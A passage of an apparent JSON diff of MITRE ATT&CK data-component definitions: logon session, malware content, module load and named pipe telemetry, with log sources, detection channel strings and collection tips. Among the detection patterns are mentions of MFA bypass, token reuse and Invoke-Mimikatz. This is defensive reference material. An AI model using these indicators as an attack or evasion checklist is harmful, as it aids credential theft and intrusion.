events\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4624,4648, 4672\"}, {\"name\": \"azure:ad\", \"channel\": \"SignInEvents\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4624,4648,4672,4769\"}, {\"name\": \"linux:syslog\", \"channel\": \"Accepted publickey/password for * from * port * ssh2\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"loginwindow or sshd successful login events\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"InteractiveUser, ServicePrincipalSignIn\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"AssumeRole,AssumeRoleWithSAML,AssumeRoleWithWebIdentity\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"InteractiveUser, NonInteractiveUser\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"UserLogin, ConditionalAccessPolicyEvaluated\"}, {\"name\": \"saas:okta\", \"channel\": \"session.token.reuse\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"capset or setns\"}, {\"name\": \"gcp:audit\", \"channel\": \"admin.googleapis.com\"}, {\"name\": \"m365:signinlogs\", \"channel\": \"UserLoggedIn\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventID=4624\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4624, 4634\"}, {\"name\": \"linux:syslog\", \"channel\": \"None\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--4358c631-e253-4557-86df-f687d0ef9891\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:35.022000+00:00\", \"old_value\": \"2025-04-18 15:12:26.544000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.2\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:14:36.246000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0088", + "external_id": "DC0088" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Logon Session Metadata", + "description": "Contextual data about a logon session, such as username, logon type, access tokens (security context, user SIDs, logon identifiers, and logon SID), and any activity associated within it", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Logon Session", + "channel": "None" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4672" + }, + { + "name": "macos:unifiedlog", + "channel": "LoginWindow context with associated PID linked to reopened plist paths" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4624, 4634, 4672, 4768, 4769" + }, + { + "name": "azure:signinLogs", + "channel": "SAML-based login with anomalous issuer or NotOnOrAfter lifetime" + }, + { + "name": "m365:unified", + "channel": "Abnormal user claims or unexpected elevated role assignment in SAML assertion" + }, + { + "name": "macos:unifiedlog", + "channel": "authd generating multiple MFA token requests" + }, + { + "name": "linux:syslog", + "channel": "None" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4624, 4625, 4768, 4769" + }, + { + "name": "linux:syslog", + "channel": "sssd / sudo logs" + }, + { + "name": "esxi:hostd", + "channel": "/var/log/hostd.log" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4624, 4634, 4672, 4769" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4624, 4672" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4778, EventCode=4779" + }, + { + "name": "auditd:SYSCALL", + "channel": "ssh logins or execve of remote commands" + }, + { + "name": "macos:unifiedlog", + "channel": "Remote login (ssh) or screen sharing authentication attempts" + }, + { + "name": "kubernetes:audit", + "channel": "Unauthorized container creation or kubelet exec logs" + }, + { + "name": "auditd:USER_LOGIN", + "channel": "USER_LOGIN" + }, + { + "name": "macos:unifiedlog", + "channel": "loginwindow or sshd" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4800, 4801" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4776,4771,4770" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve,socket,connect,openat" + }, + { + "name": "macos:unifiedlog", + "channel": "Group membership change for admin or wheel" + }, + { + "name": "azure:audit", + "channel": "Add delegated admin / Assign admin roles / Update application consent" + }, + { + "name": "saas:okta", + "channel": "user.session.start, app.oauth2.as.authorize, policy.mfa.bypass" + }, + { + "name": "gcp:audit", + "channel": "google.iam.credentials.generateAccessToken / serviceAccountTokenCreator" + }, + { + "name": "saas:salesforce", + "channel": "ConnectedApp OAuth policy change / Login as user" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4624,4672" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4624, 4672, 4634, 4768, 4769" + }, + { + "name": "macos:unifiedlog", + "channel": "Unusual Kerberos TGS-REQ without TGT or anomalous ticket lifetime" + }, + { + "name": "saas:okta", + "channel": "user.authentication.sso" + }, + { + "name": "m365:unified", + "channel": "FileAccessed, SharingSet" + }, + { + "name": "m365:signin", + "channel": "UserLogin" + }, + { + "name": "macos:unifiedlog", + "channel": "loginwindow, sshd" + }, + { + "name": "NSM:Connections", + "channel": "Successful sudo or ssh from unknown IPs" + }, + { + "name": "macos:unifiedlog", + "channel": "loginwindow or sshd events with external IP" + }, + { + "name": "macos:unifiedlog", + "channel": "process = 'sshd'" + }, + { + "name": "esxi:auth", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0088\", \"external_id\": \"DC0088\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Logon Session\", \"channel\": \"None\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4672\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"LoginWindow context with associated PID linked to reopened plist paths\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4624, 4634, 4672, 4768, 4769\"}, {\"name\": \"azure:signinLogs\", \"channel\": \"SAML-based login with anomalous issuer or NotOnOrAfter lifetime\"}, {\"name\": \"m365:unified\", \"channel\": \"Abnormal user claims or unexpected elevated role assignment in SAML assertion\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"authd generating multiple MFA token requests\"}, {\"name\": \"linux:syslog\", \"channel\": \"None\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4624, 4625, 4768, 4769\"}, {\"name\": \"linux:syslog\", \"channel\": \"sssd / sudo logs\"}, {\"name\": \"esxi:hostd\", \"channel\": \"/var/log/hostd.log\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4624, 4634, 4672, 4769\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4624, 4672\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4778, EventCode=4779\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"ssh logins or execve of remote commands\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Remote login (ssh) or screen sharing authentication attempts\"}, {\"name\": \"kubernetes:audit\", \"channel\": \"Unauthorized container creation or kubelet exec logs\"}, {\"name\": \"auditd:USER_LOGIN\", \"channel\": \"USER_LOGIN\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"loginwindow or sshd\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4800, 4801\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4776,4771,4770\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve,socket,connect,openat\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Group membership change for admin or wheel\"}, {\"name\": \"azure:audit\", \"channel\": \"Add delegated admin / Assign admin roles / Update application consent\"}, {\"name\": \"saas:okta\", \"channel\": \"user.session.start, app.oauth2.as.authorize, policy.mfa.bypass\"}, {\"name\": \"gcp:audit\", \"channel\": \"google.iam.credentials.generateAccessToken / serviceAccountTokenCreator\"}, {\"name\": \"saas:salesforce\", \"channel\": \"ConnectedApp OAuth policy change / Login as user\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4624,4672\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4624, 4672, 4634, 4768, 4769\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Unusual Kerberos TGS-REQ without TGT or anomalous ticket lifetime\"}, {\"name\": \"saas:okta\", \"channel\": \"user.authentication.sso\"}, {\"name\": \"m365:unified\", \"channel\": \"FileAccessed, SharingSet\"}, {\"name\": \"m365:signin\", \"channel\": \"UserLogin\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"loginwindow, sshd\"}, {\"name\": \"NSM:Connections\", \"channel\": \"Successful sudo or ssh from unknown IPs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"loginwindow or sshd events with external IP\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process = 'sshd'\"}, {\"name\": \"esxi:auth\", \"channel\": \"None\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--4358c631-e253-4557-86df-f687d0ef9891\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:36.246000+00:00\", \"old_value\": \"2025-04-25 14:39:59.118000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--167b48f7-76e9-4fcb-9e8d-7121f7bf56c3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.271000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0011", + "external_id": "DC0011" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Malware Content", + "description": "Code, strings, signatures, and other identifying characteristics of a malicious payload stored within a malware repository. It includes both static (file-based) and dynamic (behavioral or execution-based) components that can be analyzed for threat intelligence, detection, and prevention purposes. Examples:\n\n- Static Analysis:\n - Executable Code: Analyze binary data to identify unique patterns, obfuscated code, or embedded resources.\n - Strings Extraction: Use tools like strings or YARA rules to identify hardcoded URLs, IPs, filenames, or suspicious function calls.\n - Signatures: Extract cryptographic hashes (MD5, SHA256) of files to track known malware variants or detect previously unseen samples.\n- Dynamic Analysis:\n - Behavioral Observations: Monitor execution traces to capture API calls, registry modifications, or network traffic patterns indicative of malicious behavior.\n - Memory Analysis: Examine memory dumps to uncover injected code or runtime-decrypted payloads.\n - Artifacts: Record file system changes, process creation events, and command-line arguments.\n- Threat Intelligence Integration:\n - Campaign Attribution: Associate observed code snippets or signatures with known APT campaigns or ransomware families.\n - Indicator Sharing: Share identified Indicators of Compromise (IOCs) with threat intelligence platforms (e.g., MISP, OpenCTI).\n- Examples of Malware Content:\n - Embedded C2 domains (e.g., malicious-domain.com hardcoded in the payload).\n - Fileless malware indicators, such as PowerShell scripts invoking Invoke-Mimikatz.\n - Malware-specific signatures, such as unique PE header values for a particular strain.\n\n*Data Collection Measures:*\n\n- Collection from Public Malware Repositories:\n - VirusTotal: Obtain samples for static analysis.\n - Hybrid Analysis: Gather execution data from sandbox analysis.\n - Any.Run: Access interactive malware execution traces.\n - MalwareBazaar: Download malware samples for research and signature generation.\n - Automate data extraction using repository APIs (e.g., VirusTotal API for hash lookups or sample retrieval).\n- Internal Malware Labs:\n - Sandbox Environments: Use dynamic malware analysis tools such as Cuckoo Sandbox or Joe Sandbox to execute and monitor malware in a controlled environment. Capture runtime behavior logs, memory dumps, and file system changes.\n - Reverse Engineering: Disassemble binaries with tools like IDA Pro, Ghidra, or Radare2 to identify malicious functionality and extract code patterns.\n- EDR/Endpoint Telemetry:\n - Collect samples of malicious binaries or scripts from infected endpoints using tools like CrowdStrike, Carbon Black, or SentinelOne.\n - Extract memory-resident payloads from live systems for analysis.\n- Threat Intelligence Platforms:\n - Gather contextual metadata for identified malware using tools like OpenCTI, Recorded Future, or ThreatConnect. Participate in intelligence-sharing groups such as ISACs (e.g., FS-ISAC, IT-ISAC).\n- Custom Data Collection Pipelines: Use open-source tools like malwoverview or Maltrail to automate sample downloads, hash extraction, and IOC generation.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Malware Repository", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0011\", \"external_id\": \"DC0011\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Malware Repository\", \"channel\": \"None\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--b86d9b40-5fbe-4ef1-8dc3-263eff26f495\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-18 15:16:12.329000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.2\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--93a6e38c-02a5-44d8-9035-b2e08459f31f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.271000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0003", + "external_id": "DC0003" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Malware Metadata", + "description": "Contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Malware Repository", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0003\", \"external_id\": \"DC0003\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Malware Repository\", \"channel\": \"None\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--b86d9b40-5fbe-4ef1-8dc3-263eff26f495\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-18 15:16:09.096000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:14:35.471000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0016", + "external_id": "DC0016" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Module Load", + "description": "When a process or program dynamically attaches a shared library, module, or plugin into its memory space. This action is typically performed to extend the functionality of an application, access shared system resources, or interact with kernel-mode components.\n\n*Data Collection Measures:*\n\n- Event Logging (Windows):\n - Sysmon Event ID 7: Logs when a DLL is loaded into a process.\n - Windows Security Event ID 4688: Captures process creation events, often useful for correlating module loads.\n - Windows Defender ATP: Can provide visibility into suspicious module loads.\n- Event Logging (Linux/macOS):\n - AuditD (`execve` and `open` syscalls): Captures when shared libraries (`.so` files) are loaded.\n - Ltrace/Strace: Monitors process behavior, including library calls (`dlopen`, `execve`).\n - MacOS Endpoint Security Framework (ESF): Monitors library loads (`ES_EVENT_TYPE_NOTIFY_DYLD_INSERT_LIBRARIES`).\n- Endpoint Detection & Response (EDR): \n - Provide real-time telemetry on module loads and process injections.\n - Sysinternals Process Monitor (`procmon`): Captures loaded modules and their execution context.\n- Memory Forensics:\n - Volatility Framework (`malfind`, `ldrmodules`): Detects injected DLLs and anomalous module loads.\n - Rekall Framework: Useful for kernel-mode module detection.\n- SIEM and Log Analysis:\n - Centralized log aggregation to correlate suspicious module loads across the environment.\n - Detection rules using correlation searches and behavioral analytics.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Module", + "channel": "None" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "name": "ETW:LoadImage", + "channel": "provider: ETW LoadImage events for images from user-writable/UNC paths" + }, + { + "name": "auditd:SYSCALL", + "channel": "openat/read/mmap: Open/mmap .so files from non-standard paths" + }, + { + "name": "linux:osquery", + "channel": "select: Open files path LIKE '/tmp/%.so' OR '/dev/shm/%.so'" + }, + { + "name": "macos:unifiedlog", + "channel": "dyld/unified log entries indicating image load from non-system paths" + }, + { + "name": "macos:osquery", + "channel": "select: path LIKE '%/Library/%/*.dylib' OR '/tmp/*.dylib'" + }, + { + "name": "macos:unifiedlog", + "channel": "dynamic loading of sleep-related functions or sandbox detection libraries" + }, + { + "name": "auditd:SYSCALL", + "channel": "LD_PRELOAD Logging" + }, + { + "name": "linux:osquery", + "channel": "Dynamic Linking State" + }, + { + "name": "macos:unifiedlog", + "channel": "DYLD event subsystem" + }, + { + "name": "linux:osquery", + "channel": "Process linked with libcrypto.so making external connections" + }, + { + "name": "macos:unifiedlog", + "channel": "process execution events with dylib load activity" + }, + { + "name": "linux:Sysmon", + "channel": "EventCode=7" + }, + { + "name": "WinEventLog:Application", + "channel": "CLR Assembly creation, loading, or modification logs via MSSQL CLR integration" + }, + { + "name": "macos:unifiedlog", + "channel": "Process memory maps new dylib (dylib_load event)" + }, + { + "name": "macos:unifiedlog", + "channel": "Dylib loaded from abnormal location" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=3033" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=3063" + }, + { + "name": "auditd:MMAP", + "channel": "load: Loading of libzip.so, libz.so, or libbz2.so by processes not normally associated with archiving" + }, + { + "name": "macos:unifiedlog", + "channel": "Loading of libz.dylib, libarchive.dylib by non-standard applications" + }, + { + "name": "macos:unifiedlog", + "channel": "suspicious dlopen/dlsym usage in non-development processes" + }, + { + "name": "m365:unified", + "channel": "Non-standard Office startup component detected (e.g., unexpected DLL path)" + }, + { + "name": "auditd:SYSCALL", + "channel": "mmap" + }, + { + "name": "esxi:vmkernel", + "channel": "unexpected module load" + }, + { + "name": "snmp:status", + "channel": "Status change in cryptographic hardware modules (enabled -> disabled)" + }, + { + "name": "esxi:vmkernel", + "channel": "module load" + }, + { + "name": "macos:unifiedlog", + "channel": "delay/sleep library usage in user context" + }, + { + "name": "linux:syslog", + "channel": "kmod" + }, + { + "name": "macos:unifiedlog", + "channel": "subsystem=com.apple.kextd" + }, + { + "name": "macos:unifiedlog", + "channel": "loading of unexpected dylibs compared to historical baselines" + }, + { + "name": "auditd:file-events", + "channel": "open of suspicious .so from non-standard paths" + }, + { + "name": "macos:syslog", + "channel": "DYLD_INSERT_LIBRARIES anomalies" + }, + { + "name": "auditd:SYSCALL", + "channel": "dmesg" + }, + { + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_KEXTLOAD" + }, + { + "name": "auditd:SYSCALL", + "channel": "module load or memory map path" + }, + { + "name": "macos:unifiedlog", + "channel": "launch and dylib load" + }, + { + "name": "linux:osquery", + "channel": "Processes linked with libssl/libcrypto performing network activity" + }, + { + "name": "etw:Microsoft-Windows-Kernel-ImageLoad", + "channel": "provider: Unsigned/user-writable image loads into msbuild.exe" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0016\", \"external_id\": \"DC0016\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Module\", \"channel\": \"None\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=7\"}, {\"name\": \"ETW:LoadImage\", \"channel\": \"provider: ETW LoadImage events for images from user-writable/UNC paths\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"openat/read/mmap: Open/mmap .so files from non-standard paths\"}, {\"name\": \"linux:osquery\", \"channel\": \"select: Open files path LIKE '/tmp/%.so' OR '/dev/shm/%.so'\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"dyld/unified log entries indicating image load from non-system paths\"}, {\"name\": \"macos:osquery\", \"channel\": \"select: path LIKE '%/Library/%/*.dylib' OR '/tmp/*.dylib'\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"dynamic loading of sleep-related functions or sandbox detection libraries\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"LD_PRELOAD Logging\"}, {\"name\": \"linux:osquery\", \"channel\": \"Dynamic Linking State\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"DYLD event subsystem\"}, {\"name\": \"linux:osquery\", \"channel\": \"Process linked with libcrypto.so making external connections\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process execution events with dylib load activity\"}, {\"name\": \"linux:Sysmon\", \"channel\": \"EventCode=7\"}, {\"name\": \"WinEventLog:Application\", \"channel\": \"CLR Assembly creation, loading, or modification logs via MSSQL CLR integration\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process memory maps new dylib (dylib_load event)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Dylib loaded from abnormal location\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=3033\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=3063\"}, {\"name\": \"auditd:MMAP\", \"channel\": \"load: Loading of libzip.so, libz.so, or libbz2.so by processes not normally associated with archiving\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Loading of libz.dylib, libarchive.dylib by non-standard applications\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"suspicious dlopen/dlsym usage in non-development processes\"}, {\"name\": \"m365:unified\", \"channel\": \"Non-standard Office startup component detected (e.g., unexpected DLL path)\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"mmap\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"unexpected module load\"}, {\"name\": \"snmp:status\", \"channel\": \"Status change in cryptographic hardware modules (enabled -> disabled)\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"module load\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"delay/sleep library usage in user context\"}, {\"name\": \"linux:syslog\", \"channel\": \"kmod\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"subsystem=com.apple.kextd\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"loading of unexpected dylibs compared to historical baselines\"}, {\"name\": \"auditd:file-events\", \"channel\": \"open of suspicious .so from non-standard paths\"}, {\"name\": \"macos:syslog\", \"channel\": \"DYLD_INSERT_LIBRARIES anomalies\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"dmesg\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"ES_EVENT_TYPE_NOTIFY_KEXTLOAD\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"module load or memory map path\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launch and dylib load\"}, {\"name\": \"linux:osquery\", \"channel\": \"Processes linked with libssl/libcrypto performing network activity\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-ImageLoad\", \"channel\": \"provider: Unsigned/user-writable image loads into msbuild.exe\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--f424e4b4-a8a4-4c58-a4ae-4f53bfd08563\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:35.471000+00:00\", \"old_value\": \"2025-04-18 15:12:16.486000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--b9a1578e-8653-4103-be23-cb52e0b1816e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:14:39.039000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0048", + "external_id": "DC0048" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Named Pipe Metadata", + "description": "Contextual data about a named pipe on a system, including pipe name and creating process (ex: Sysmon EIDs 17-18)\n\n*Data Collection Measures:*\n\n- Windows:\n - Sysmon Event ID 17: Logs the creation of a named pipe.\n - Sysmon Event ID 18: Logs connection attempts to a named pipe.\n - Windows Security Event ID 5145: Logs access attempts to named pipes via SMB shares.\n - ETW (Event Tracing for Windows): Provides deep telemetry into named pipe interactions.\n- Linux/macOS:\n - AuditD (`mkfifo`, `open`, `read`, `write` syscalls): Tracks FIFO (named pipe) creation and usage.\n - Lsof (`lsof -p ` or `lsof | grep PIPE`): Lists active named pipes and associated processes.\n - Strace (`strace -e open `): Monitors named pipe interactions.\n- Endpoint Detection & Response (EDR):\n - Capture named pipe events as part of process tracking.\n- Memory Forensics:\n - Volatility Plugin (`pipescan`): Enumerates named pipes in system memory.\n - Rekall Framework: Identifies active named pipes and associated processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=17" + }, + { + "name": "macos:unifiedlog", + "channel": "XPC messages requesting privileged actions from untrusted or unsigned clients" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0048\", \"external_id\": \"DC0048\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=17\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"XPC messages requesting privileged actions from untrusted or unsigned clients\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--221adcd5-cccf-44df-9be6-ef607a6e1c3c\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:39.039000+00:00\", \"old_value\": \"2025-04-18 15:14:42.887000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:14:34.190000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0082", + "external_id": "DC0082" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Network Connection Creation", + "description": "The initial establishment of a network session, where a system or process initiates a connection to a local or remote 